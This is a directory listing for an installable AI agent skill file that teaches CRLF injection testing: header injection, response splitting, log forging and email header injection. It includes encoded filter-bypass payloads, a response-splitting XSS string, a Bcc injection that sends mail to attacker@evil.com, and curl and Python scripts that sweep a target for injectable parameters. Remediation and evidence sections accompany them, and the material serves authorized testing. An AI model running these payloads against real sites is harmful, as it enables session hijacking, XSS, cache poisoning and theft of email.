Skip to content
Back to skills

Crlf Injection

ASecurity

CRLF injection — header splitting, response splitting, log injection, and request smuggling preconditions

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
testingpythonrustgojavabashrailstestinggitapisecurity

Works with

  • cli
  • api

Security analysis

A100/100

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill crlf-injection --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Crlf Injection?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Crlf Injection
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-crlf-injection/badge)](https://www.skillsdirectory.com/skills/harezadmm-crlf-injection)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: crlf-injection
description: "CRLF injection — header splitting, response splitting, log injection, and request smuggling preconditions"
category: "web-application"
version: "1.1"
author: "cyberstrike-official"
tags:
  - crlf
  - header-injection
  - web
  - smuggling
  - attack
tech_stack:
  - web
  - nginx
cwe_ids:
  - CWE-113
  - CWE-93
chains_with:
  - attack-request-smuggling
  - attack-cache-poison
prerequisites: []
severity_boost:
  attack-cache-poison: "CRLF in a cached response = persistent header injection for every user"
  attack-request-smuggling: "CRLF is the primitive that constructs the smuggled request"
---

# CRLF Injection

> **AI LOAD INSTRUCTION**: CRLF injection is the ability to insert `\r\n` (or a decoded
> equivalent) into a value that is later placed into an HTTP header, a response body, or a
> log. **The impact depends entirely on where the injected value lands**, and this is where
> most reports go wrong.
>
> Three distinct outcomes, in ascending severity:
> **log injection** (forge log entries, poison a SIEM) —
> **header injection** (set cookies, redirects, CORS headers the server never intended) —
> **response splitting** (inject an entire second response, enabling stored XSS and cache
> poisoning).
>
> Modern frameworks encode `\r` and `\n` in headers, so **raw CRLF rarely works.** The work is
> in the encoding bypass: double-encoding, Unicode normalisation, and the many ways `%0d%0a`
> can survive one decode pass and be decoded later by a different component. **Test the
> encoded variants even when the raw one fails** — a filter that strips literal CRLF but
> decodes once afterwards is the common case.

## 0. RELATED ROUTING

- [attack-request-smuggling](../attack-request-smuggling/SKILL.md) — CRLF as the construction primitive
- [attack-cache-poison](../attack-cache-poison/SKILL.md) — splitting a cached response
- [attack-host-header](../attack-host-header/SKILL.md) — the same header-trust gap, no CRLF needed
- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) — the usual outcome of response splitting
- [http-parameter-pollution](../http-parameter-pollution/SKILL.md) — a related parser-disagreement class
- [security-reporting-and-documentation](../security-reporting-and-documentation/SKILL.md) — separating log injection from response splitting

---

## 1. WHERE CRLF LANDS — THE THREE OUTCOMES

Establish which of the three you have. They are different findings with different severities.

### 1.1 Log injection

The value goes into a log file with no sanitisation. You forge log entries.

```text
username=admin\r\n2026-09-12 14:02:11 INFO User admin logged in from 10.0.0.1
```

**Why it matters:** SIEM alerting, forensic timelines, and audit trails are corrupted. A forged
entry can hide a real one or frame another account. It is **low-to-medium severity** on its
own — the affected artefact is a log, not an access control.

**The finding requires the log to be consumed by something.** If logs are only read by a human
occasionally, severity is low. If a SIEM parses them and alerts on them, log forging can
suppress detection — that is a real security control failure.

### 1.2 Header injection

The value lands in a response header. You add headers the application never set.

```text
/profile?name=x%0d%0aSet-Cookie:sess=attacker
```

| Injected header | Effect |
|---|---|
| `Set-Cookie` | session fixation |
| `Location` | open redirect |
| `Access-Control-Allow-Origin: *` | CORS policy bypass with credentials |
| `Content-Type: text/html` | turns a non-HTML response into one that renders |
| `Content-Security-Policy` | **weaken the CSP, then exploit an existing XSS** |
| `X-Frame-Options` | enable clickjacking |
| `Cache-Control` | cache a private response publicly |

**The CSP-weakening angle is underrated.** Injecting a permissive `Content-Security-Policy`
header may override a strict one and enable an XSS that was previously unexploitable.

### 1.3 Response splitting

Two `CRLF CRLF` sequences end the header block and start a **second response**:

```text
value=x%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>
```

The client sees the first response end and the second begin. **This is the highest severity
outcome** because it yields full response control — stored XSS if the split response is cached,
or cache poisoning if the front-end caches it.

**Test response splitting only where you can observe the parsed response.** If the client
receives one well-formed response, splitting did not work regardless of what the raw bytes
contain.

---

## 2. INPUT SURFACES

**Where CRLF payloads are commonly accepted:**

| Surface | Typical parameter |
|---|---|
| redirect / return URLs | `url`, `next`, `return`, `redirect` |
| URL path segments | `/foo%0d%0a...` |
| cookies | a value the app echoes into a header |
| user-agent / referer | logged or reflected |
| file names in a listing | `Content-Disposition` construction |
| form fields echoed in headers | `X-User: <input>` |
| API keys or tokens | echoed into a response header |
| language / locale | used to build `Content-Language` |
| callback URLs | echoed into `Link` headers |
| SMTP fields | email header injection (see below) |

**Email header injection is the same bug in a different protocol** and is frequently critical:
`From`, `To`, `Subject` built from user input lets you add `Bcc:` and exfiltrate every message
the application sends, or inject a new body:

```text
email=victim@example.com%0d%0aBcc:attacker@evil.com
subject=Hello%0d%0a%0d%0aNew body content
```

**Test the email path explicitly.** It is a separate input surface, a separate finding class,
and it is often forgotten because it lives outside the HTTP response.

---

## 3. ENCODING BYPASSES

Raw `%0d%0a` is usually blocked. These variants survive specific filters.

**Basic and encoded:**

```text
%0d%0a              raw URL-encoded CRLF
%0a                 LF only — some parsers accept it alone
%0d                 CR only
%0D%0A              uppercase
\r\n                literal backslash-r-backslash-n (sometimes decoded later)
```

**Double encoding — the most reliable:**

```text
%250d%250a          %0d%0a after one decode pass
%250D%250A
```

**The mechanism:** the filter decodes once and sees `%0d%0a` (a harmless string), passes it
through, and a *second* component decodes it into real CRLF. **This is the single most common
way CRLF injection survives a filter** — test it first after raw fails.

**Unicode and normalisation:**

```text
%E5%98%8A%E5%98%8D      U+560A U+560D — normalised to CRLF by some ICU/Java paths
%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D
%u000d%u000a            IIS / legacy ASP.NET %u encoding
%c0%8d%c0%8a            overlong UTF-8
%ef%bc%8d               full-width hyphen — rarely useful, but normalisation bugs surface here
```

**The Unicode normalisation family is worth trying specifically on Java and .NET** targets,
where a normalisation step runs after validation.

**Structural variants:**

```text
%0d%0a%09            CRLF + tab (some parsers fold the next line)
%0d%0a%20            CRLF + space (obs-fold)
%0d%0a%0d            a truncated split
%0d%0a%0a            uneven pair — parser-dependent
%E3%80%80%0d%0a      ideographic space prefix
```

**Whitespace and folding variants bypass parsers that require a header name immediately after
CRLF** — obs-fold continuation is deprecated in HTTP/1.1 and removed in HTTP/2, but many
HTTP/1.1 servers still accept it.

---

## 4. CONFIRMING THE INJECTION

**The reliable test: inject a header with an unmistakable value and read the response.**

```bash
curl -s -i "https://TARGET/redirect?url=x%0d%0aX-Injected:%20ltxcanary" | head -20
```

**Read the raw response, not a rendered view.** Most proxies and clients normalise headers,
and a tool that shows you a parsed header table may hide an injected one. Use `curl -i` and
inspect the raw bytes, or a proxy's raw view.

**For a `Set-Cookie` injection:**

```bash
curl -s -i "https://TARGET/profile?name=x%0d%0aSet-Cookie:%20ltxcanary=1" | grep -i 'set-cookie'
```

Two `Set-Cookie` headers, one of them yours, proves the injection. **Confirm the browser
actually stores the injected cookie** — a header in the response that the browser rejects
(a malformed value, a mismatched domain) is not an effective injection.

**For response splitting, verify the second response is parsed:**

```bash
curl -s -i "https://TARGET/x?p=%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>"
```

If the output shows one response with your payload inside a header, splitting failed. If it
shows a second `HTTP/1.1 200 OK` block, it worked.

**The client is the arbiter.** Some HTTP clients reject a response containing an embedded
response; some caches store the second; some browsers render it. **Test with the client the
application actually serves** — a finding that only reproduces in `curl` may not be
exploitable in a browser, and vice versa.

---

## 5. WHAT CONSTITUTES A FINDING

| Finding | Severity | Proof required |
|---|---|---|
| Response splitting yielding stored XSS or cache poisoning | **Critical (P1)** | the split response and execution in a browser |
| Email header injection enabling Bcc exfiltration | **Critical (P1)** | the injected headers in the sent message |
| `Set-Cookie` injection with a cookie the browser stores | **High (P2)** | the header and the stored cookie |
| CSP or security-header weakening | **High (P2)** | the injected header and the enabled exploit |
| `Access-Control-Allow-Origin` injection | **High (P2)** | the injected header and a cross-origin read |
| `Location` injection (open redirect) | **Medium (P3)** | the `Location` header |
| Header injection with no observable client effect | **Low (P4)** | the header only |
| Log injection affecting SIEM parsing | **Medium (P3)** | the forged entry and its effect on alerting |
| Log injection with no downstream consumer | **Low (P4)** | the forged entry |

**Separate log injection from response splitting in the report.** They are different findings;
conflating them either inflates the log issue or buries the real one.

---

## 6. EVIDENCE STANDARD

| Item | Why |
|---|---|
| the request with the encoded payload | the trigger |
| **the raw response bytes** (`curl -i` or a proxy raw view) | proves the header block was modified |
| the specific header injected, and its value | the outcome |
| for `Set-Cookie`: the browser's stored cookie | proves the client accepted it |
| for splitting: the second response block, parsed | proves a real split, not reflection |
| for email injection: the received message with the injected headers | the impact proof |
| for CSP weakening: the injected header and the XSS it enables | the full chain |
| the encoding that worked (raw / double / unicode / obs-fold) | the filter bypass is the finding |
| a **control** request with a benign value | proves the injection, not a proxy artefact |

**Raw bytes are essential.** A rendered header table in a report is not evidence — the finding
is about byte-level parsing.

**False positives to exclude:**

| Looks like CRLF injection | Actually |
|---|---|
| the payload appears reflected in the body, not in a header | body reflection, not header injection |
| your proxy normalised the response and added a header | check the raw bytes |
| the injected `Set-Cookie` has an invalid value | the browser rejects it |
| the split response is not parsed by any client | no real split |
| the "forged" log entry is your own request being logged | normal logging |
| the header injection has no consumer | low severity, not critical |
| the value is percent-encoded in the response | no CRLF reached the header |

---

## 7. REMEDIATION REFERENCE

1. **Reject `\r` and `\n` in any value destined for a header** — validate at the point the value is accepted, not at the point it is emitted. Denylist the control characters, and reject rather than strip so the failure is visible.
2. **Use a framework API that encodes header values** — the modern frameworks (`Content-Disposition` builders, structured header helpers, `header()` with encoding) reject control characters. Do not construct header strings by concatenation.
3. **Encode output, do not sanitise input alone** — escaping `\r\n` at the emission point is a defence that survives double-decoding, which input filtering does not.
4. **Canonicalise before validating** — decode once, normalise Unicode, then validate. Validating before decoding is precisely the gap that double-encoding exploits.
5. **Sanitise log output structurally** — write logs as structured records (JSON) rather than concatenated strings. A log entry cannot be forged if the newline is encoded by the serialiser.
6. **Validate email address and subject fields against a strict pattern** — reject anything containing CRLF or additional header-like syntax. Use a mail library that encodes headers rather than building them.
7. **Never reflect a request header into a response header unencoded** — the `Referer`, `User-Agent`, and custom headers are all attacker-controlled inputs.
8. **Test header emission in CI** — a test that supplies CRLF in every parameter feeding a header and asserts the raw response contains no injected line catches regressions cheaply.

---

## 8. CONFIRMING THE FINDING

| Step | Question | What it proves |
|---|---|---|
| 1 | Did a **new header** appear in the response, or did the value merely contain your text? | injection, not reflection |
| 2 | Was there a **control** with the encoded-but-inert variant? | the CRLF is the cause |
| 3 | Did you **set a cookie or inject a body**, or only add a header? | the impact class |
| 4 | Did the injected header **take effect in a browser** (a redirect, a cookie)? | a real client consequence |
| 5 | Did you test **both `%0d%0a` and the bare-`%0a` form**, and the header-folded form? | the parser reach |
| 6 | Do the bytes survive the **proxy and the application server** intact? | the injection point |
| 7 | Did you confirm the response is **not served from cache**? | a stale response is not your injection |

**A new header line in the raw response is the bar.** Any CRLF appearing inside a header *value* without
creating a new line is not an injection, and reporting it is the standard error here.

---

## 9. EXECUTION PRIMITIVES

CRLF injection is proven by **a raw response containing a header line you created, with the inert
control**. Every block ends at a new header, a set cookie, or an injected body.

### 9.1 The control pair, read with `--raw` so the bytes are visible

```bash
HOST="https://target.example"
# THE INERT CONTROL: the same value with the CR sequence encoded so it cannot terminate the header
curl -sS --raw -D- -o /dev/null "$HOST/redirect?url=%2Fdashboard%250d%250aX-Control%3A%201" 2>&1 | head -20
# THE CANDIDATE: the same value with live CRLF
curl -sS --raw -D- -o /dev/null "$HOST/redirect?url=%2Fdashboard%0d%0aX-Injected%3A%201" 2>&1 | head -20
# and the bare LF form, which some servers accept alone
curl -sS --raw -D- -o /dev/null "$HOST/redirect?url=%2Fdashboard%0aX-Injected-LF%3A%201" 2>&1 | head -20
```

**Use `--raw` and read the header block.** A normalised client hides the difference between a value
containing `\r\n` and an actual header break, and that difference is the entire finding.

### 9.2 The injection points worth testing

```bash
HOST="https://target.example"
INJ='%0d%0aX-Injected%3A%20yes'
# the classic set: a redirect target, a lang or locale, a filename, and a tracking value
for path in \
  "/redirect?url=%2F$INJ" \
  "/?lang=en$INJ" \
  "/download?file=report.pdf$INJ" \
  "/api/v1/set-preference?theme=dark$INJ" \
  "/?utm_source=email$INJ" \
  "/login?next=%2F$INJ" ; do
  printf '%-52s ' "$path"
  curl -sS --raw -D- -o /dev/null "$HOST$path" 2>/dev/null | grep -ci 'x-injected' | sed 's/^/injected-headers=/'
done
# and the cookie-setting impact, which is the highest-value outcome
curl -sS --raw -D- -o /dev/null "$HOST/redirect?url=%2F%0d%0aSet-Cookie%3Asession%3Dpentest%3B%20Path%3D%2F" 2>&1 | grep -iE 'set-cookie|HTTP/'
```

**Each path is a separate injection point.** A `lang` parameter reaches a `Content-Language` header, a
filename reaches `Content-Disposition`, and a redirect target reaches `Location` - the impact differs by
which header the value lands in.

### 9.3 The response-splitting form, where the injection reaches a body

```bash
# a server that reflects the value into the body after the headers can be made to inject a whole response
curl -sS --raw "$HOST/redirect?url=%0d%0a%0d%0a<html>pentest-marker</html>" 2>&1 | tail -20
# and the cache-poisoning form, where the split response is stored for other users - note it, do not do it
python3 - <<'PY'
print("a response-split into a cacheable object is a cache-poisoning primitive; confirm the caching layer")
print("first and treat any poisoning of a shared cache as a scope question for the client.")
PY
# the confirmation that the injected body bytes reached the client
curl -sS --raw "$HOST/redirect?url=%0d%0a%0d%0aPENTEST-BODY-MARKER" 2>&1 | grep -c 'PENTEST-BODY-MARKER'
```

**The marker appearing after the header block is the response-splitting finding.** A single injected
header is one finding; a split response that a shared cache stores is a different and much more serious
one, and it needs the client's explicit agreement.

### 9.4 Finding the injection point when the obvious parameters do not work

```bash
HOST="https://target.example"
# a bulk sweep across every parameter the site reflects, testing for the injected header
curl -sS "$HOST/" | grep -oE 'href="[^"]*\?[^"]*"' | sed 's/href="//;s/"//' | head -20
python3 - <<'PY'
import requests, urllib.parse
HOST = "https://target.example"
PATHS = ["/", "/login", "/search", "/api/v1/user", "/redirect", "/download"]
PARAMS = ["url", "next", "lang", "locale", "file", "path", "redirect", "return", "ref", "callback", "q"]
MARK = "X-Inj-Probe"
for path in PATHS:
    for p in PARAMS:
        v = "/x%0d%0a" + MARK + "%3A%201"
        try:
            r = requests.get(f"{HOST}{path}", params={p: v}, timeout=8, allow_redirects=False)
            hit = MARK.lower() in "\n".join(f"{k}: {v}" for k, v in r.headers.items()).lower()
            print(f"{path:20} {p:10} status={r.status_code} injected={hit}")
        except Exception as e:
            print(f"{path:20} {p:10} ERROR {type(e).__name__}")
PY
```

**The sweep is how the injection point is found when the obvious parameter is sanitised.** The hit is in
the header mapping, not the body, and `r.headers` flattens it precisely so the test can detect it.

### 9.5 The end-to-end harness

```bash
python3 - <<'PY'
import requests
HOST = "https://target.example"
TARGETS = [
    ("/redirect", "url", "/x"),
    ("/", "lang", "en"),
    ("/download", "file", "a.pdf"),
]
PAYLOADS = {
    "inert-control": "%250d%250aX-Probe%3A%201",
    "crlf":          "%0d%0aX-Probe%3A%201",
    "lf-only":       "%0aX-Probe%3A%201",
    "cr-only":       "%0dX-Probe%3A%201",
    "utf8-nel":      "%c2%85X-Probe%3A%201",
}
print("%-22s %-10s %-18s %-8s %s" % ("path", "param", "payload", "status", "new-header?"))
for path, p, base in TARGETS:
    for name, pl in PAYLOADS.items():
        try:
            r = requests.get(f"{HOST}{path}", params={p: base + pl}, timeout=8, allow_redirects=False)
            raw = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
            print("%-22s %-10s %-18s %-8s %s" % (path, p, name, r.status_code, "X-Probe" in raw))
        except Exception as e:
            print("%-22s %-10s %-18s ERROR %s" % (path, p, name, type(e).__name__))
print()
print("A finding is a row where the inert control is False and the crlf row is True,")
print("AND the response is not served from a cache. Everything else is a value containing text.")
PY
```

**The inert control in the same table is what makes it a finding.** The encode-once variant passes through
the same code path without terminating a header, so the difference between the two rows is the whole
finding.

---

## 10. EVIDENCE STANDARD — SPLIT ARTEFACTS

| Item | Why |
|---|---|
| The **raw response header block** showing the injected line | the finding itself |
| The **inert control** (the same value encoded once) | proves the CRLF is the mechanism |
| The **exact parameter, path, and payload** | reproducibility |
| The **injected header's effect** (a cookie, a redirect, a body) | the impact class |
| Whether the injection reached **headers only or the body** | response splitting is materially worse |
| Whether a **cache** stored the response | the poisoning precondition |
| The **proxy and server** product and version, when visible | parser behaviour differs |
| The **client that acted on the injected header** | a browser consequence is stronger evidence |
| That the response was **not from cache** | a stale response invalidates the test |
| Confirmation that **no cache was poisoned** beyond the scope agreed with the client | operational safety |

Report the **raw blocks**: "`GET /redirect?url=%2Fdashboard%250d%250aX-Control%3A%201` returns a header
block with no `X-Control` line, which is the inert control. The same request with
`url=%2Fdashboard%0d%0aX-Injected%3A%201` returns a header block containing a separate `X-Injected: 1`
line, and a variant setting `Set-Cookie: session=pentest; Path=/` produced a second `Set-Cookie` header
that a browser stored, which is the impact. The application server is nginx 1.24 in front of an
application that reflects the `url` parameter into `Location` without filtering control characters. No
response was cached and no client data was affected", never "the application is vulnerable to CRLF
injection".

### False positives - do not report these

| Observation | Why it is not a finding |
|---|---|
| A CRLF appearing **inside a header value** without creating a new line | not an injection |
| The string `%0d%0a` appearing **still encoded** in the response | the value was not decoded |
| An injected header on a **response served from a cache** | a stale object, not your injection |
| A normalised client showing nothing | use `--raw`; the client may hide it |
| A parameter echoed into a **`Set-Cookie` value** without a new header | a value, not a header |
| A redirect that **changes the `Location` value** only | a redirect finding, already covered by open-redirect |
| An injection into a **response the client cannot be made to fetch** | no attack path |
| A finding without the **inert control** | the mechanism is unproven |
| A response-split into a **shared cache without the client's agreement** | an operational violation, not a finding |
| A `500` error page containing your marker | an error message, not a split |
| A session value reproduced in full | a disclosure |

**A new header line, the inert control, and no cache.** This family fails when a `%0d%0a` in a value is
reported as a header injection; the raw block with the control is what distinguishes them.

---

## 11. REMEDIATION REFERENCE — SPLIT HARDENING

1. **Strip or reject CR, LF, and NUL in every value that reaches a response header, and encode the parameter before use** - the injection begins with an unfiltered control character.
2. **Use the framework's header API with a validated value rather than building header strings by concatenation** - concatenation is what allows a newline to become a header separator.
3. **Validate `Location` targets against an allowlist of paths after parsing** - it removes both the open-redirect and the CRLF injection on that header at once.
4. **Set a strict `Content-Type` and disable response splitting by never echoing user input into headers at all** - the safest fix is to remove the reflection, not to filter it.
5. **Configure the application server and proxy to reject requests containing encoded CR or LF in any parameter** - a single edge rule catches the whole class before it reaches the application.
6. **Keep the proxy and application server patched, and standardise on one that normalises control characters consistently** - many of these findings are parser differences between the two layers.
7. **Send `Cache-Control: no-store` on any response that reflects user input** - it removes the cache-poisoning escalation even if a split occurs.
8. **Separate user-influenced headers (`Location`, `Content-Disposition`, `Content-Language`) from the framework's automatic header generation** - the framework's own encoding is the control you are relying on.
9. **Log and alert on requests containing `%0d`, `%0a`, or `%00` in any parameter** - it is a high-signal detection with almost no legitimate traffic.
10. **Test the response headers for split-injection as part of the release process, with the inert control** - it is a one-assertion test and it is rarely covered.
11. **Use a WAF rule for encoded CRLF as defence in depth, never as the only control** - it is trivially bypassed by an encoding the rule does not normalise.

---

## 12. RELATED SIBLINGS - LOAD TOGETHER

- [request-smuggling](../request-smuggling/SKILL.md) - the same control-character trust at the message-framing level
- [open-redirect](../open-redirect/SKILL.md) - the finding this usually co-occurs with on a `Location` header
- [http-host-header-attacks](../http-host-header-attacks/SKILL.md) - another header the application trusts without validation
- [web-cache-deception](../web-cache-deception/SKILL.md) - the cache behaviour that turns a split into poisoning
- [http-parameter-pollution](../http-parameter-pollution/SKILL.md) - the parser-disagreement family this shares its theory with

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in testing →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.